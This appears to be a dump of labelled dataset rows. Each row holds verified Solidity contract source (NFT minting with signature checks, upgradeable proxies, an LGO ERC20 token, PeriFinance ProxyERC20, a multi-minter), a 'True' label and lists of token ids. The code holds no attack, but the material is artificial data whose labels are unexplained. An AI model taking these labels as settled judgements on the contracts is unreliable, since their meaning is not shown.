bytes32 hash = keccak256(abi.encodePacked(this,tokenURI));
require(owner == ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), sign.v, sign.r, sign.s), "Owner sign verification failed");
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param sign struct combination of uint8, bytes32, bytes32 are v, r, s.
* @param tokenURI string memory URI of the token to be minted.
* @param fee uint256 royalty of the token to be minted.
*/
function createCollectible(string memory tokenURI, uint256 fee, Sign memory sign) public returns (uint256) {
uint256 newItemId = tokenCounter;
verifySign(tokenURI, sign);
_safeMint(msg.sender, newItemId, fee);
_setTokenURI(newItemId, tokenURI);
tokenCounter = tokenCounter + 1;
return newItemId;
}
function burn(uint256 tokenId) public {
require(_exists(tokenId), "ERC721: nonexistent token");
_burn(tokenId);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-04-10
*/
/**
*Submitted for verification at BscScan.com on 2021-03-08
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2019-07-10
*/
pragma solidity ^0.5.0;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
/**
* @title ERC20Detailed token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
/**
* @title ERC20Mintable
* @dev ERC20 minting logic
*/
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param value The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract ERC20Burnable is ERC20 {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The address which you want to send tokens from
* @param value uint256 The amount of token to be burned
*/
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
/**
* @title New LGO contract
* @dev ERC20 with bulk minting function restricted to minter role, bulk transferring and burn function
*/
contract NewLGO is ERC20, ERC20Detailed, ERC20Mintable, ERC20Burnable {
/**
* [LGO Token CONSTRUCTOR]
* @dev Deploy contract with name, symbol and decimal
*/
constructor()
ERC20Detailed("LGO Token", "LGO", 8)
public { }
/**
* @dev Public function that mints amounts of token and assigns it to
* respective accounts
* @param accounts The accounts that will receive the created tokens.
* @param values The amounts that will be created (in the same order).
*/
function bulkMint(address[] memory accounts, uint256[] memory values)
public
{
require(accounts.length == values.length, "Accounts array and values array don't have the same length");
for (uint i = 0; i<accounts.length; i++) {
mint(accounts[i], values[i]);
}
}
/**
* @dev Public function that transfers amounts of token to
* respective accounts
* @param accounts The accounts that will receive the tokens.
* @param values The amounts that will be sent (in the same order).
*/
function bulkTransfer(address[] memory accounts, uint256[] memory values)
public
{
require(accounts.length == values.length, "Accounts array and values array don't have the same length");
for (uint i = 0; i<accounts.length; i++) {
transfer(accounts[i], values[i]);
}
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-08-11
*/
/*
Note:
This is a PROXY contract, it defers requests to its underlying TARGET contract.
Always use this address in your applications and never the TARGET as it is liable to change.
*//*
___ _ ___ _
| .\ ___ _ _ <_> ___ | __><_>._ _ ___ ._ _ ___ ___
| _// ._>| '_>| ||___|| _> | || ' |<_> || ' |/ | '/ ._>
|_| \___.|_| |_| |_| |_||_|_|<___||_|_|\_|_.\___.
* PeriFinance: ProxyERC20.sol
*
* Latest source (may be newer): https://github.com/perifinance/peri-finance/blob/master/contracts/ProxyERC20.sol
* Docs: Will be added in the future.
* https://docs.peri.finance/contracts/source/contracts/ProxyERC20
*
* Contract Dependencies:
* - IERC20
* - Owned
* - Proxy
* Libraries: (none)
*
* MIT License
* ===========
*
* Copyright (c) 2021 PeriFinance
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity 0.5.16;
// https://docs.peri.finance/contracts/source/contracts/owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// Inheritance
// Internal references
// https://docs.peri.finance/contracts/source/contracts/proxyable
contract Proxyable is Owned {
// This contract should be treated like an abstract contract
/* The proxy this contract exists behind. */
Proxy public proxy;
Proxy public integrationProxy;
/* The caller of the proxy, passed through to this contract.
* Note that every function using this member must apply the onlyProxy or
* optionalProxy modifiers, otherwise their invocations can use stale values. */
address public messageSender;
constructor(address payable _proxy) internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address payable _proxy) external onlyOwner {
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setIntegrationProxy(address payable _integrationProxy) external onlyOwner {
integrationProxy = Proxy(_integrationProxy);
}
function setMessageSender(address sender) external onlyProxy {
messageSender = sender;
}
modifier onlyProxy {
_onlyProxy();
_;
}
function _onlyProxy() private view {
require(Proxy(msg.sender) == proxy || Proxy(msg.sender) == integrationProxy, "Only the proxy can call");
}
modifier optionalProxy {
_optionalProxy();
_;
}
function _optionalProxy() private {
if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) {
messageSender = msg.sender;
}
}
modifier optionalProxy_onlyOwner {
_optionalProxy_onlyOwner();
_;
}
// solhint-disable-next-line func-name-mixedcase
function _optionalProxy_onlyOwner() private {
if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) {
messageSender = msg.sender;
}
require(messageSender == owner, "Owner only function");
}
event ProxyUpdated(address proxyAddress);
}
// Inheritance
// Internal references
// https://docs.peri.finance/contracts/source/contracts/proxy
contract Proxy is Owned {
Proxyable public target;
constructor(address _owner) public Owned(_owner) {}
function setTarget(Proxyable _target) external onlyOwner {
target = _target;
emit TargetUpdated(_target);
}
function _emit(
bytes calldata callData,
uint numTopics,
bytes32 topic1,
bytes32 topic2,
bytes32 topic3,
bytes32 topic4
) external onlyTarget {
uint size = callData.length;
bytes memory _callData = callData;
assembly {
/* The first 32 bytes of callData contain its length (as specified by the abi).
* Length is assumed to be a uint256 and therefore maximum of 32 bytes
* in length. It is also leftpadded to be a multiple of 32 bytes.
* This means moving call_data across 32 bytes guarantees we correctly access
* the data itself. */
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
// solhint-disable no-complex-fallback
function() external payable {
// Mutable call setting Proxyable.messageSender as this is using call not delegatecall
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
/* We must explicitly forward ether to the underlying contract as well. */
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) {
revert(free_ptr, returndatasize)
}
return(free_ptr, returndatasize)
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "Must be proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
// https://docs.peri.finance/contracts/source/interfaces/ierc20
interface IERC20 {
// ERC20 Optional Views
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
// Views
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
// Mutative functions
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(
address from,
address to,
uint value
) external returns (bool);
// Events
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
// Inheritance
// https://docs.peri.finance/contracts/source/contracts/proxyerc20
contract ProxyERC20 is Proxy, IERC20 {
constructor(address _owner) public Proxy(_owner) {}
// ------------- ERC20 Details ------------- //
function name() public view returns (string memory) {
// Immutable static call from target contract
return IERC20(address(target)).name();
}
function symbol() public view returns (string memory) {
// Immutable static call from target contract
return IERC20(address(target)).symbol();
}
function decimals() public view returns (uint8) {
// Immutable static call from target contract
return IERC20(address(target)).decimals();
}
// ------------- ERC20 Interface ------------- //
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
// Immutable static call from target contract
return IERC20(address(target)).totalSupply();
}
/**
* @dev Gets the balance of the specified address.
* @param account The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address account) public view returns (uint256) {
// Immutable static call from target contract
return IERC20(address(target)).balanceOf(account);
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
// Immutable static call from target contract
return IERC20(address(target)).allowance(owner, spender);
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
// Mutable state call requires the proxy to tell the target who the msg.sender is.
target.setMessageSender(msg.sender);
// Forward the ERC20 call to the target contract
IERC20(address(target)).transfer(to, value);
// Event emitting will occur via PeriFinance.Proxy._emit()
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
// Mutable state call requires the proxy to tell the target who the msg.sender is.
target.setMessageSender(msg.sender);
// Forward the ERC20 call to the target contract
IERC20(address(target)).approve(spender, value);
// Event emitting will occur via PeriFinance.Proxy._emit()
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool) {
// Mutable state call requires the proxy to tell the target who the msg.sender is.
target.setMessageSender(msg.sender);
// Forward the ERC20 call to the target contract
IERC20(address(target)).transferFrom(from, to, value);
// Event emitting will occur via PeriFinance.Proxy._emit()
return true;
}
} | True | [
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12325,
1010,
1998,
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2030,
5271,
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1996,
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2000,
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3395,
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6048,
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9385,
13304,
2022,
102
] | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-06-15
*/
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.6.12;
interface IMillionPieces {
function mintTo(address to, uint256 tokenId) external;
function mintToSpecial(address to, uint256 tokenId) external;
function createArtwork(string calldata name) external;
function setTokenURI(uint256 tokenId, string calldata uri) external;
function setBaseURI(string calldata baseURI) external;
function exists(uint256 tokenId) external view returns (bool);
function isSpecialSegment(uint256 tokenId) external pure returns (bool);
function isValidArtworkSegment(uint256 tokenId) external view returns (bool);
function getArtworkName(uint256 id) external view returns (string memory);
}
/**
* @title MultiMinter
*/
contract MultiMinter {
address public owner;
IMillionPieces constant public millionPieces = IMillionPieces(0x32A984F84E056b6E553cD0C3729fDDd2d897769c);
constructor() public {
owner = msg.sender;
}
// --------------------
// PUBLIC
// --------------------
function mintMany(uint256[] calldata tokenIds, address receiver) external {
require(msg.sender == owner);
_mintMany(tokenIds, receiver);
}
// --------------------
// INTERNAL
// -------------------
function _mintMany(uint256[] memory tokenIds, address receiver) private {
uint256 tokensCount = tokenIds.length;
for (uint256 i = 0; i < tokensCount; i++) {
uint256 tokenId = tokenIds[i];
if (_isAvailable(tokenId)) {
if (_isSpecialSegment(tokenId)) {
_mintSpecialNft(receiver, tokenId);
} else
_mintNft(receiver, tokenId);
}
}
}
function _mintNft(address receiver, uint256 tokenId) private {
millionPieces.mintTo(receiver, tokenId);
}
function _mintSpecialNft(address receiver, uint256 tokenId) private {
millionPieces.mintToSpecial(receiver, tokenId);
}
function _isAvailable(uint256 tokenId) private view returns (bool) {
return !millionPieces.exists(tokenId);
}
function _isSpecialSegment(uint256 tokenId) private view returns (bool) {
return millionPieces.isSpecialSegment(tokenId);
}
} | True | [
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] | [
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1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-11-08
*/
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.8.0;
// Sources flattened with hardhat v2.6.7 https://hardhat.org
// File contracts/Math/Math.sol
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
